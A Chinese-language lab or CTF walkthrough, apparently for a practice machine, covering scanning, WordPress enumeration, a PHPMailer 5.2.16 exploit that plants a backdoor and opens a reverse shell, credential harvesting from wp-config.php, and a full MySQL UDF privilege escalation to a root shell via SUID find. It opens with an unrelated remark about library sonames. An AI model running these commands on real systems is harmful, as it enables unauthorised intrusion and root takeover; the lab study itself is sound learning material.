这篇比较详细,我就随便写自己看得懂就好了【当要升级系统中的一个库时,并且新库的soname和老库的soname一样,用旧库链接生成的程序使用新库依然能正常运行。这个特性使得在Linux下,升级使得共享库的程序和定位错误变得十分容易】
总结:udf提权
流程: 扫描存活主机,扫描端口,目录扫描,信息收集,漏洞挖掘,漏洞利用,权限提升
攻击机Ip:10.10.10.128
扫描一下活的主机,发现10.10.10.149
然后仔细扫,发现22,80,111,40134四个端口
思路:22可以爆破,80需要先信息收集
111上的服务rpcbind
漏洞利用是破坏服务的
status rpc没搜到
先收集信息
浏览器打开10.10.10.149,发现用到了CMS:wordpress
指纹识别:框架和中间件
目录爆破
枚举的时候发现最重要的是这个 vendor里面有很多信息 ,插件PHPMailer 和版本5.2.16
PHPMailer 插件可以搜索漏洞
wordpres 可以用wpscan扫
利用漏洞
修改脚本
目标,后门文件名称,返回攻击机地址和端口,绝对路径
执行脚本
python3 40974.py
监听6677
访问
http://10.10.10.149/vendor/class.pop3.php
然后再访问http://10.10.10.149/houmen.php
此时就连上了
执行脚本返回完整的shell
查看内核
没有找到内核的漏洞,收集密码信息时【find / -name flag* grep "password" -rn wp-config.php】,得到了mysqlroot的账户和密码,然后查看natstat -ano 发现3306,然后查看运行权限发现root,尝试能不能用udf提权
这关是udf提权的思路
udf提权的要素:若 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 【show variables like '%plugin%';】文件夹下文件夹下才能创建自定义函数
root身份
show global variables like 'secure%'; 的结果,参数secure_file_priv 的值不为off或者/tmp
搜索udf提权去照exp
流程:
打开http服务让靶机下载exp
mysql:
show variables like '%plugin%';
show global variables like 'secure%';
create table dayu(line blob);
insert into dayu values(load_file('/tmp/dayu.so'));
select * from dayu into dumpfile '/usr/lib/mysql/plugin/dayu.so';
create function do_system returns integer soname 'dayu.so';
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');
shell:
find dayu -exec "/bin/sh" \;